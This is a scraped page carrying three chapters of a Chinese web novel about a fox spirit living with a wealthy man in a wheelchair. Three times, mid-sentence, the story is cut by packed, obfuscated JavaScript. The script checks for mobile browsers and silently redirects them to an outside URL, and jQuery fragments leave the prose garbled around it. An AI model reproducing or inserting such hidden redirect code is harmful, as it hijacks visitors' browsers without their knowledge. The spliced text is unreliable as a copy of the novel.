快撑吐的谢总喝着李叔送来的消食茶,完全不知道自己在小狐狸眼中已经成了贫穷又能吃这两个词的代言人。
-
次日一早,李叔安排的工人就上门来安装小狐狸的专属小门了。
云容对这事相当重视,全程坐在旁边监工,耳朵高高竖起,聚精会神盯着工人的手,不允许自己的小门有一点问题。
小门是在大门旁边的墙上开了一个洞安装的,设计成狐狸头的形状,还特地刷成和大门一样的颜色。一大一小两个门放在一块居然有种诡异的和谐。
云容看着自己的专属小门一点点成形,满意得不得了,门装好后就迫不及待地进出了两次。
“不错,狐很满意。”小狐狸冰冰凉凉的小鼻子蹭了蹭谢砚的手,“你是一个很不错的铲屎官。”
“还有一步才算装好门。”谢砚抓住了又想去钻门的小狐狸,一把把狐狸捞到自己的腿上。
还有一步?
云容不明所以伸长脑袋想看看工人们还要做什么,鼻子上突然一热,他居然被抓住了鼻筒子!
大胆的人类!
活了几百年云容还是头一次被如此冒犯,他龇牙想要挣脱谢砚的手准备给胆大包天的人类一点教训,却看到李叔把一个东西放在自己面前,随后鼻子上的大手用力,控着他往那个东西上摁。
“你要做什么?!”
轻微的震动感让小狐狸有些不安,下意识想挣开,谢砚轻轻抚摸着小狐狸的脊背安抚,“没事,要录你的鼻纹做钥匙,很快就好了。”
狐狸肉垫外覆着一层绒毛,在机器上没有反应,只能用鼻纹做锁。
也不知道是不是他的话起了效果,刚才还挣扎的小狐狸顿时安静下来,甚至乖乖配合。
云容还是第一次听到能用狐狸鼻子当钥匙的锁,好奇地配合着谢砚的动作,蓝眼睛里的瞳孔忍不住往中间移动,想看看这到底是怎么做的,居然比法术还神奇。
鼻子反反复复在屏幕上贴来贴去,上上下下左左右右,云容觉得自己的鼻子都快要被震麻了,嘴筒子上的手才松开,他连忙舔舔自己变得干燥的鼻子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370611|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>不舒服。
云容不知道这锁不仅可以用鼻纹解锁,每一次解锁谢砚的手机都能收到通知,以后每一次出门就算他不说对方也能知道。谢砚甚至考虑下一次带他去做检查的时候注入一个宠物芯片,以免他走丢了不知道。
工人将李叔手里的锁接过去安装,云容这才后知后觉这么多人看到自己的嘴筒子被大逆不道的谢砚抓在手里,丢狐,实在是太丢狐了!
云容一僵,四处都是人,连后院里都来了人,将他围得紧紧的,无处可逃,干脆自暴自弃把脸埋在谢砚怀里,爪子紧紧扒拉谢砚的衣服,用大尾巴挡住自己的身体。
只要他看不见,就等于没有人看到他!
谢砚还是第一次被小狐狸投怀送抱,有些受宠若惊,之前小狐狸虽然亲近他,但最多是蹭一蹭他,一用力抱它就会挣开跑掉,主动钻进他怀里这件事完全是出乎意料。
绒绒如今毛发蓬松,暖暖的一个大毛团抱在怀里的感觉简直堪称享受,谢砚嘴角上扬,“绒绒害怕了?我们先离开。”
大概是人太多吓到小狐狸了。
云容生气地用尾巴打他的手,你才害怕,狐才不是胆小鬼!
尾巴尖的绒毛一下一下扫过手腕内侧的皮肤,谢砚抱着小狐狸,默不作声放慢了轮椅行驶的速度,恨不得把这条不长的路走上大半天。
谢砚没有立即抱着小狐狸回屋,而是带着它去了后院。
后院的挖掘机正在挖池塘,大型机器运作的声音像是一头凶猛的巨兽,怪异的声音吓得云容一颤,扒拉得更紧了。
云容抖抖耳朵,忍不住露出眼睛看看这是什么鬼动静。
怀里的小狐狸目光警惕看着挖掘机,谢砚轻轻揉着小狐狸的脑袋安抚它,“没事,这是用来挖池塘的机器,不会吃我们绒绒的。”
云容仍是惊疑不定看着这个挖土的大家伙,所谓的挖掘鸡举起巨大的手臂往下一铲就是一个洞,没几下平整的草坪里就出现了一个大坑。
云容眯眼瞧着那个钢铁做的手臂,有些羡慕,如果狐的前爪也有这么粗壮,他就不会被一堵小小的墙难倒了。
谢砚自是不知道小狐狸脑里的想法有多么天马行空,自顾自说下去,“等池子弄好了,我们再在里面放一些小鱼,绒绒以后不用去外面捕鱼了,那个湖很危险,想去的话下次我陪你去。”
不少猫猫狗狗都喜欢养鱼,不少人家里还特地弄了个鱼缸给自家宠物看。
别的动物有的东西他的小狐狸自然也是要有,不仅要有,还要满足小狐狸喜欢捕猎的心,谢砚毫不犹豫让人挖了大池子方便小狐狸抓鱼。
“什么叫你陪我去,明明是大度的狐陪你去。”云容眯眼打量着那个巨大的坑,舔舔鼻子,很不错,铲屎官终于有一点危机感了,知道自己在家里养点鱼吃。
不过铲屎官刚刚说的是小鱼,云容叹了口气,铲屎官这么能吃,那些小鱼苗得养多久才够谢砚吃饱啊。
在小鱼苗变成大鱼前,这个人类还是得靠狐来养。
21. 第 21 章
池子第二天就填上了水放进了小鱼苗,还特地挑了刺少的品种。
小狐狸对这一池子鱼格外在意,目光炯炯盯着李叔倒入鱼苗,生怕里面有浑水摸鱼的鱼一样。
“这么喜欢?”鱼一放好,怀里的小狐狸就冲到了池边,紧紧盯着里面的鱼,谢砚有些好笑。
“那当然。”云容摇摇尾巴,“这可是你未来的口粮。”
一条两条七八条……几十条够谢砚吃上很久了吧,他可得看紧点,别让附近的猫偷偷溜进来把铲屎官的口粮都抓走了。
要养两脚兽的云容深觉自己责任道远。
原本谢砚以为绒绒和其他小动物一样对这些鱼只是三分钟热度,却没有想到一连好几天除了吃饭睡觉玩玩具,基本都把时间花在这上面了。
醒来要看,吃完饭要看,连睡前都要来鱼池前晃悠一圈才放心地回房睡觉。
正在房里的谢砚放下手机,上面的监控画面回放着趴在池边专心看鱼的小狐狸。
绒绒睡前都不会来他房间里晃悠一圈。
不对,连他的房间都没有进来过。
啪嗒——
房间陷入一片黑暗,几分钟后,灯又亮起,原本在床上好好待着的狐狸玩偶被扔到了沙发上,谢砚和玩偶的大眼珠子对视了一会,冷哼一声,才再次关上了灯。
-
花匠发现这几天少爷来后院的次数多了点,什么也不做,操控着轮椅逛一圈就走了,跟巡逻领地似的。
虽然摸不着头脑,他也不敢多问,继续干自己的活。
池子里的鱼一开始还挺怕这只老是趴在池边的狐狸,狐狸一靠近就躲在水草里,生怕一不小心就会游到尖尖的狐狸嘴去,提心吊胆了好几天,才发现这只狐狸只是看,没有吃它们的心思,甚至用爪子把鱼饲料扒拉下来喂它们,这才放松了警惕,甚至有些胆子大的还敢游过去和云容互动。
短短几天,云容就和这些小鱼熟了起来,甚至还偷偷给它们起了名字,“这条叫红烧,那条叫松鼠鳜鱼,最胖的这条叫鱼片粥,那条叫烤鱼吧……快吃,多吃点才能长大。”
轮子压在石砖上的声音没有引起小狐狸的注意,谢砚等了好一会,绒绒连个目光都没有给他。
谢砚:……
这几天小狐狸靠近他的次数还没有靠近鱼多。
谢砚一直没有动作,脸色还很难看,跟上来的张助理有些不解:“谢总,怎么了?”
难道谢总对这个池子不满意?
谢砚轻咳两声,不轻不重,“没事。”
小狐狸终于注意到旁边不知道什么时候多出两个人了,看清谢砚的身影后果断扔下了还在等投喂的鱼群朝着铲屎官跑去。
“谢砚,你要去哪里啊?可以带狐一起去吗?”小狐狸绕着谢砚的轮椅转了一圈,小爪子扒着谢砚的腿探头探脑。
铲屎官今天穿的整整齐齐,一看就是要出门,他也想出门看看。
谢砚沉沉的黑眸里总算多出了点笑意,他将小狐狸抱起来放到自己的腿上,完全不在意小狐狸没有擦的爪子在他身上留下爪印。
“我要去医院检查身体,绒绒乖乖待在家好不好?”谢砚挠了挠小狐狸的下巴,“我很快就回来了。”
云容知道医院是什么,谢砚这么一说,他立即跳到了地面,小心地用爪子碰了碰男人腿上的石膏。
以前他见过很多骨折的动物没有得到及时医治,只能眼睁睁看着伤口溃烂感染最后死掉,谢砚的脚受伤了这么多天也没有见好,会不会和那些动物一样,也会死掉?
云容有些难过,如果他的修为还在,就能救好谢砚的腿了。
刚才还高高兴兴的小狐狸突然耷拉着耳朵,垂头丧气盯着他的伤腿瞧,不知道在想什么。
但肯定不是什么好事。
谢砚摸了摸小狐狸的头,安抚道:“只是小伤,比之前好很多了,今天去医院复查。”
也是哦,人类现在的科技这么发达,和他们动物可不一样,只能靠自己熬过去。
云容蹭了蹭谢砚的手,“那你一定要快点回来哦。”
他顿了顿,又小声道:“完整的,可千万别少了一条腿呀。”
只有一条腿的铲屎官,一点都不好看。
……不过再不好看,他也是会继续养谢砚的。
他是一个很有责任心的狐狸。
小狐狸将脑袋放在他的掌心上眯着眼哼哼唧唧撒娇,声音软糯,谢砚托着这轻轻的一团,突然觉得腿受伤也不是没有好处。
起码绒绒因为腿伤和他撒娇了。
过了几秒,小狐狸离开,他才恋恋不舍收回手,或许今晚可以试试用这招哄绒绒和他一起睡。
天气冷了,不少人都在网上分享有宠物陪睡是多么幸福的一件事,他好不容易才将绒绒一身毛养得又厚又蓬松,可不能错过。
目送载着谢砚的那辆大铁皮车驾离视野,坐在门前的云容摇摇尾巴,朝着自己的专属小门走去,准备去给自己养的人捕猎,却没想到刚刚走到门前,冰冰凉凉的东西落在脸上——下雨了。
云容当机立断跑回屋里,舔了舔自己尾巴上的水珠,鼻子皱皱,“讨厌的下雨天。”
会淋湿他干净的毛发,还不能出去打猎了。
“外面下雨了,绒绒今天就在家里玩吧?”李叔笑眯眯地用毛巾帮小狐狸擦干净毛上的水。
蔫蔫的小狐狸在李叔的努力下重新变成一团蓬松的狐球,坐在那里乍一看还以为是一朵蒲公英。
“好哦,那狐再回去睡一会。”云容蹭了蹭李叔作为感谢,哒哒哒地往自己的房间跑去。
这两天他总是容易犯困,觉得身上没有什么力气,只想睡觉。
房间里的每一样东西都覆满了他的味道,特别有安全感。
小狐狸站在房间中间,眯着眼看了一圈自己的数个小窝,目光落在汉堡包形状的窝上面,花花绿绿的,狐喜欢,就是你啦。
这个窝最大,里面还垫着一层厚厚的毛毯,睡起来暖暖的,是云容最喜欢的小窝。
小狐狸先在毛巾上踩了踩,擦干净爪爪后才扭着尾巴钻进去,熟稔地把自己团成一团毛乎乎的狐球,尾巴一甩遮住了眼睛,没几秒就睡着了。
谢砚是下午到家的,意料之中没有看到小狐狸过来迎接他。
他面上看不出喜怒,问旁边的李叔:“绒绒呢?”
李叔:“少爷出门后就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370612|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回房间睡觉了,吃了个午饭又回房间了,现在估计还在睡呢。”
谢砚忍不住皱眉,睡一天,他宁愿绒绒看一天鱼。
李叔了解谢砚的脾气,安慰道:“绒绒还是小狐狸呢,睡一天也正常。”
谢砚:“我上去看看。”
谢砚进去的时候云容刚刚好醒来,还没有从困意中回过神,在窝里懵懵懂懂地发着呆,看上去特别好rua。
云容被抱出来rua了好一通,连软乎乎的肚皮都没有被放过,直到男人试图把手放到他的尾巴上时终于清醒过来,猛地叼住那只不老实的手轻咬警告,“说了多少次不许摸尾巴不许摸尾巴!”
讨厌的人类!天天就知道摸狐的尾巴!
“好好好,不摸。”谢砚任由小家伙咬他的手,小狐狸哪怕生气了也舍不得下重口,只是叼着他的手轻轻啃,并没有下力气,像是怕弄疼他似的。
谢砚的心软成一团,他顺着小狐狸睡得有些乱的绒毛,慢慢道:“医生说我腿的恢复速度很快,大概还有半个月就能拆石膏了。”
狐耳朵咻一下立起来,云容吐出被他啃得满是口水的手,再次和谢砚确认:“真的吗?你不会从两脚兽变成单脚兽啦?”
谢砚自是听不懂小狐狸的话的,自顾自说下去,“不过医生说我行动不便,洗澡的时候最好有个人在旁边守着。”
小狐狸轻轻晃动的尾巴停下来了,一眨不眨盯着谢砚,等他继续说下去。
“不过李叔年纪大了,也是不方便的。”谢砚叹了口气,似乎有些苦恼,“张助理也有事,不能总是喊他过来。”
至于保镖,已经被谢砚选择性忽略了。
他瞥了一眼表情紧张的小狐狸,脸上挤出一抹苦笑,低声道:“罢了,我自己一个人也可以的。”
谢砚长相俊美,剑眉星目,面部线条凌厉,虽然穷,但是身上的气势比以前云容跟在长辈身边见过的皇室子弟还要强,可现在垂眸落寞的模样让云容心一紧,想都没想就主动接过了这个任务。
“大笨蛋,这里有那么大一个狐狸在!”云容见他还是一脸懵,似乎是没有明白自己的意思,急得不停用爪子扒拉谢砚的手,“我可以守着你呀!快找我快找我!”
谢砚压下眼底的笑意,握住了软软的狐狸爪子,语气带着几分迟疑:“绒绒的意思是……要守着我吗?”
“没错!”云容瞥了一眼被握在男人手里的爪子,很大度地没有抽出来,他抖抖耳朵,“保护好自己养的人类,是狐的责任,你不必太感激。”
“绒绒真好。”牛头不对马嘴的一人一狐居然对接成功,第一个目的达到了,谢砚顺着杠子往上爬,继续哄骗天真的小狐狸,“不过,我晚上睡觉还是得自己一个人,毕竟绒绒有自己的房间。”
屁大点事也值得两脚兽纠结。
小狐狸抽出爪子跳到地上,把窝里的毯子叼出来往谢砚手心一塞,“狐陪你睡!”
“绒绒今晚陪我睡吗?”谢砚将沾满了狐狸毛的毯子认真叠整齐,放在膝上,“绒绒果然是世界上最好的小狐狸。”
来自铲屎官的夸赞让不知社会险恶的小狐狸得意地抬起头,尾巴疯狂甩动,“这是你的福气。”
22. 第 22 章
孱弱的铲屎官第一次向狐求助,云容对此事格外重视。
囫囵吃完自己的晚饭,小狐狸跃上餐椅,盯着谢砚吃饭。
桌上的菜还是绿油油的一大片,云容想起自己刚才吃完的一个大鸡腿,心虚地舔舔鼻子。
谢砚是不是把肉都留给他,自己跑去吃草了?
那他更得好好守着谢砚了。
谢砚没想到小狐狸这么好骗,三言两语就让它晚饭后一直跟在自己后面,连院子都不去了,谢砚顺理成章又享受了一次有小狐狸陪着处理工作的快乐。
淅淅沥沥的雨几乎下了一天,云容跳到窗台上,隔着厚重的雨幕好不容易才数清楚池子里的鱼,满意地点点头,很好,他给铲屎官养的鱼一条都没有少。
数完鱼的小狐狸又蹿回谢砚的办公桌上,见男人还盯着手里放光的板子,一副准备干到死的模样,尾巴一甩,挤到了谢砚和板子的中间,一屁股坐下,凭借自己胖了不少的体型将那个板子遮得严严实实。
“很晚啦,谢砚。”云容耍赖般把脑袋搁在谢砚的手上,不让他再工作,“你该去洗澡了。”哼哼唧唧完,云容还假模假样打了个哈欠,粉色的小舌头卷起。
狐都等一晚上了,铲屎官居然还不去洗澡,再等下去狐都要睡着了。
被霸道的小狐狸这么一挡,谢砚完全没有生气的迹象,而是将小家伙抱到腿上,“绒绒困了?好,我这就去洗澡。”
轮椅往他的房间驶去,小狐狸被放到地上,探长脑袋看谢砚找出换洗的衣服进浴室,抬起爪子想跟进去,却被男人赶了出来。
“干什么干什么?!”云容不满大叫,“不是还求着狐守你吗?”
“绒绒在门口外等着我就好,如果我摔倒了,就去找李叔。”谢砚态度坚定,“我自己洗就行。”
虽然绒绒只是一只什么都不懂的小狐狸,谢砚还是做不出当着另外一个生物的面脱光洗澡的事,尤其是他时不时会想起梦里绒绒的少年形态,这种事做起来就更别扭了。
“行叭。”他尊重人类不必要的羞耻心。
云容低头看看毛茸茸的爪子,虽然他觉得自己的爪爪灵活程度很高,但是谢砚那么大一个人,他那么小一个狐狸,帮谢砚洗完他都累死啦。
男人撑着拐杖走进浴室,门被关上,毛绒绒的三角耳朵转了转,听到里面响起脱衣服时窸窸窣窣的声音。
懒洋洋趴在地上的小狐狸一骨碌爬起来,凑近了浴室的门,歪着脑袋听里面的动静。
没有动静。
愚蠢的谢砚不会淹死在里面吧。
担心的云容把耳朵贴在门上,好听得更清楚一点。
过了一会后,淅淅沥沥的水声才响起,小狐狸松了一口气。
太好了,谢砚还活着。
但等了几分钟后,小狐狸又坐不住了,他在门外踱步了几圈,忍不住站起来,把前爪撑在门上,开始呼唤谢砚。
“谢砚,你还活着吗?”
小狐狸叫声里透着几分焦急,隔着一层门隐隐约约传进去,还在给浴缸放水的谢砚应了一声,“我很好。”
“好哦。”
几分钟后,“谢砚,你洗好了吗?你还活着吗?”
谢砚:“我知道了。”
小狐狸:“谢砚,你还没有洗好吗?”
谢砚:“我在。”
云容喊一声,谢砚就应一声,只不过答非所问,毕竟谢砚也听不懂狐狸叫。
云容只好又坐下,尾巴圈在身侧,仰头看着门的模样乖巧又可爱。
里面的水声小了下来,小狐狸急得又去扒拉门,爪子在门上飞快划动,“谢砚谢砚,你洗好了吗?你是不是死了?”
“没有那么快洗好。”刚刚给浴缸放好水努力爬进去才坐好的谢砚叹了口气,“绒绒要是无聊,可以去房间里等我。”
“好吧。”云容后退几步,忧心忡忡嘱咐:“谢砚,你可千万不要被淹死啊。”
然后头也不回朝房里走去,说起来,他还没见过谢砚房间长什么样呢。
欢快的步伐突然停下,抬起的前爪悬在空中,云容不可置信地看着房间里的床,床上是堆得满满的玩偶山。
云容震惊,云容愤怒。
他只有谢砚一个铲屎官,谢砚居然偷偷背着他养了这么多其他动物!!!还偷偷藏在房间里!哪怕是假的也不行!!!
三心二意的谢砚!
在谢砚面前一直乖巧无害的小狐狸露出了獠牙,一个一个数过去。
一个两个三个,笑死,根本数不完!
云容冷笑,被怒气冲昏了头脑,直接跳起来稳稳落到床上,叼起一个玩偶就是扔!
通通扔下去,一个都别想留下!
谢砚好不容易堆好的玩偶山被云容又咬又踹,全部被扔到了地上,扔到地上还不解气,云容又蹦到地上,挨个踩了一遍才舒服一点。
还没舒服几秒钟,云容转过身,看到后面的沙发上居然还放着一只红色的狐狸玩偶,顿时如遭雷劈。
“很好,很好,谢砚,你居然还敢有别的狐狸。”云容冷笑着走过去,才靠近就闻到了更加浓郁的熟悉气味,他不可置信凑过去嗅了嗅,果然是属于谢砚的味道,比那些玩偶都要重很多。
这么重的味道,怕不是天天抱着睡觉吧。
说好的只养自己一个狐狸,呵,没想到背着他养了别的花色的狐狸。
他辛辛苦苦找果子,出去捕猎抓鱼养谢砚,结果谢砚这么对他。
占有欲很强的狐狸头一次尝到了被背叛的滋味,他咬着狐狸尾巴将它扯下来,狠狠地咬住玩偶的脖子撕扯。
……没能咬下来,太厚了。
云容放下连轻伤都没有的玩偶,委屈得胡子都撇下去了。
这种三心二意的铲屎官,他不想要了。
他那么好看的一只狐狸,哪怕没有谢砚,也会有其他人类求着当他的铲屎官。就算不找铲屎官,他也可以出去流浪,比如去那个很大很大的湖附近找适合的地方做一个小窝,每天都去抓鱼吃。
他可以养活自己。
下定决心的云容看了一眼窗户的方向,雨似乎更大了,雨点噼里啪啦打在窗户上,声音很吵。
云容舔舔自己蓬松的尾巴,等雨停了他就走!
他要弃养谢砚!
这时浴室里传来男人的声音,“绒绒,你还在外面吗?”
小狐狸生气地龇牙,在个屁!他才不守谢砚洗澡了!让那个独享沙发的红狐狸守去吧!
云容才不管在里面喊他的谢砚,回到自己的房间,用力踹上了门,砰的一声,惹得楼下的管家都伸头过来看了看。
浴室里的谢砚又喊了几声,也没能得到小狐狸的回应,突然脊背一凉,心里生出一股不好的预感。
他也不敢泡澡了,连忙从浴缸里起来,迅速擦干身穿上衣服,柱着拐杖出去。
一推开门,谢砚没有看到小狐狸守在外面,一抹红色撞入眼底,门前是昨晚被他扔到沙发上的狐狸玩偶。
谢砚心中咯噔一下。
他又走了几步,终于看清自己房间此时的模样,一片狼藉。原本堆在床上的玩偶全被扔到了地上,床褥凌乱,上面印着几个明显是狐狸爪子留下的凹陷,顿时明白过来他洗澡的这段时间里发生了什么事。
他暗骂自己几句,居然忘记让人把玩偶们都收起来了。
狐狸的占有欲很强,绒绒虽然乖巧,但也不例外,他床上那么多玩偶,谢砚简直不敢想象绒绒会气成什么样。
气归气,这些玩偶只是被扔到地上,并没有被咬坏,绒绒还是一只很好的小狐狸的。
不知道自己即将被弃养的谢砚将红狐狸玩偶随手放到地上,也不管什么面子不面子了,让李叔上来把玩偶都收拾到空房间里,柱着拐杖往隔壁房间走去。
此事错在他,当然是要去哄绒绒的。
门没有锁,谢砚直接开门进去,看到一团白色的毛团窝在猫爬架的最高处,蜷缩成一团背对着他,也不知道是不是睡着了。
“绒绒?”狐狸耳朵轻轻抖了一下,毛团没有动。
“抱歉,我不该放那么多玩偶在床上。”谢砚柱着拐杖走过去,想要摸一摸小狐狸,谁知道手还没有碰到小狐狸的毛,一直不动弹的小狐狸突然坐起来准确避开了他的手,直接缩到了最里面的位置,还张大嘴警告他。
云容把自己的尾巴抱在怀里,一根毛毛也不让谢砚碰到,生气地朝谢砚大叫:“你现在不是我的铲屎官了,不许摸我!你不是有一床玩偶吗?!你不是还有一只狐狸吗?!摸它们去!”
叫完,云容抱着自己的尾巴转过身去,只留下一个圆乎乎的背影给谢砚。
谢砚腿上有伤,够不着,只能继续哄小狐狸。
他叹了一口气,继续解释道:“我容易失眠,那些玩偶都是我之前买的,放在床上是为了缓解失眠,需要抱它们才能睡着。”
一个“抱”字准确踩在云容雷区上,气得他尾巴都炸毛了,他狠狠地用尾巴拍了一下谢砚的脑袋,“你居然还抱着它们睡觉?!”
尾巴毛绒绒的触感在脸上一闪而过,谢砚抓了个空,忍不住回味了两秒狐狸尾巴的触感,想再摸一摸。
可小狐狸似乎比之前还要生气,他只能忍下摸狐狸尾巴的冲动继续哄道:“失眠对人类来说是很严重的病,长期失眠甚至会致死,所以我只能出此下策。”他顿了顿,语气坚定,“那些都是没有生命的玩偶,都比不上绒绒,真正的动物我只养过绒绒。”
云容听说过失眠,他喜欢睡觉,不敢想象困又睡不着会有多难受。
他突然想起初见谢砚的时候他眼下确实是青黑一片,忍不住转过头看谢砚,发现似乎浅很多了。
难道谢砚说的是真的?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370613|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>尾巴尖尖动了动,云容有些犹豫。
见小狐狸真的听进去自己的话,谢砚试探性地伸长手碰上那弯弯的尾巴尖。
云容:!!!
还在生气的小狐狸骤然被摸到最敏感的地方之一,想都没有就低下头来了一口,可没控制好力度,男人没有皮毛覆盖的手顿时破了皮。
浓郁的血香在口腔中散开,修为尽失的云容瞳孔巨震,险些没忍住咬深一点的冲动。
好香……好好吃……
他急忙忙吐出谢砚的手,心虚地把那散发着血香的手用鼻子拱开,“抱歉,我、我不是故意的。”
“先下来。”轻微的刺痛对谢砚而言算不上什么,他举起手,如愿接到了小狐狸,“不是绒绒的错,不怪绒绒。”
没几个养宠物的人身上没有伤,在留下小狐狸的时候他就做好的受伤的准备,这点小伤口和那些满身都是伤的人相比根本算不上什么。
而且绒绒也打过狂犬疫苗,去洗洗就好了。
怀里的小狐狸委屈得耳朵都不见了,谢砚实在是说不出什么指责的话,反而还去哄小狐狸,“有没有被吓着?”
男人温柔的声音让云容鼻子一酸,受伤了还哄自己,云容顿时什么气都没有了,弃养谢砚的事瞬间被抛到九霄云外,他仰起头舔舔谢砚的下巴,“没有,谢砚,你疼不疼呀?”
“没事,小伤。”小狐狸软化的态度很明显,谢砚借机行事,“那些玩偶我都让李叔放到别的房间了,今晚没有玩偶陪睡,绒绒陪我睡好不好?”
有机会将功赎过的云容跳到地上,领着谢砚回他自己的房间,“嗯!”
谢砚垂眸看了一眼破点小皮的伤口,嘴角微弯,这倒是因祸得福了。
李叔收拾东西的速度很快,房间里的玩偶消失得一干二净,被小狐狸弄乱的被褥也重新铺好了,甚至还在旁边放了一个小枕头给小狐狸,完全看不出之前乱七八糟的模样。
云容主动跳上谢砚的床,这才发现爪下的床软乎乎的,踩起来很舒服,触感比他的窝窝和一楼的沙发都要好。
很不错,狐喜欢。
云容在床上滚了一圈,确定上面都是自己的味道后才在原本放着玩偶的那一边躺下,蓝眸亮晶晶地看着谢砚,“快来快来,我给你治病!”
小狐狸的声音娇娇软软的,狐狸眼带着笑意,带着自己都不知道的蛊惑人心,谢砚深吸一口气,突然理解了纣王。
狐狸这么可爱的动物,谁能拒绝?
反正他不能。
谢砚处理完伤口,艰难地在床上卧下,又拉被子盖到他和小狐狸身上,铺天盖地都是谢砚的味道,不太习惯的云容忍不住往后缩了缩。
味道太浓了,好像他刚才辛辛苦苦滚的一圈完全没有起作用似的。
“躲什么?不是说好要陪我睡的?”谢砚伸手想抱住小狐狸,却被一只毛茸茸的狐狸爪子挡住了。
“陪你睡又不是被你当玩偶抱着睡。”云容眯眼警告,“人类,不要得寸进尺。”
小狐狸如此坚持,谢砚也不强迫,毕竟绒绒愿意和自己睡已经很不错了,要一步步来,不可太心急。
他关上屋内的灯,揉了揉小狐狸的耳朵,“绒绒,晚安。”
云容蹭了蹭他的手,“晚安。”
向来习惯自己睡的谢砚床上还是第一次有别人,虽然只是一只狐狸,怀里空荡荡的谢总还是没几秒就进入了梦乡。
睡了一天的云容精神很好,没有一点睡意。
他歪着打量几乎是秒睡的谢砚,忍不住靠近嗅了嗅,发现对方是真的睡着了。
云容有些怀疑,这人真的有失眠症吗?怎么睡得比狐还快?
他是不是在骗狐?
不等云容细想,外面突然轰隆隆一道道雷暴砸下来,吓得云容脊背炸毛,他顿时也顾不得谢砚有没有睡着了,果断往谢砚那边爬去,整只狐都埋在被子里,只露出一个尖尖的狐狸嘴。
被窝里满满都是谢砚身上的味道,虽然隔着一层毛发也能感受到谢砚的体温,耳边是浅浅的呼吸声,云容心里突然有种被保护的安心感。
脊背上炸起的毛缓缓顺回去,云容抱着谢砚的手,打了个哈欠,在雷雨声中渐渐入睡。
几分钟后,男人睁开眼,将睡着的小狐狸搂在怀里,终是没忍住在小狐狸毛绒绒的脑袋上落下一吻。
外面雷暴依旧,却再也吵不醒酣眠的小狐狸。
雷雨一直持续到深夜才慢慢停下,乌云散开,一轮圆月再无遮挡,皎洁的月光透过窗户落在深眠的小狐狸身上,似有流光浮动。
被男人搂着的白色的小狐狸身形晃了晃,身上缓缓浮现一个人影。
半透明的人影缓缓凝聚成实体,只见他身形纤细,不着寸缕,银色长发披散在床上,发间的狐耳轻抖,被子里囊囊鼓鼓的,毛绒绒的尾巴尖从被子里钻出来,垂落在床边。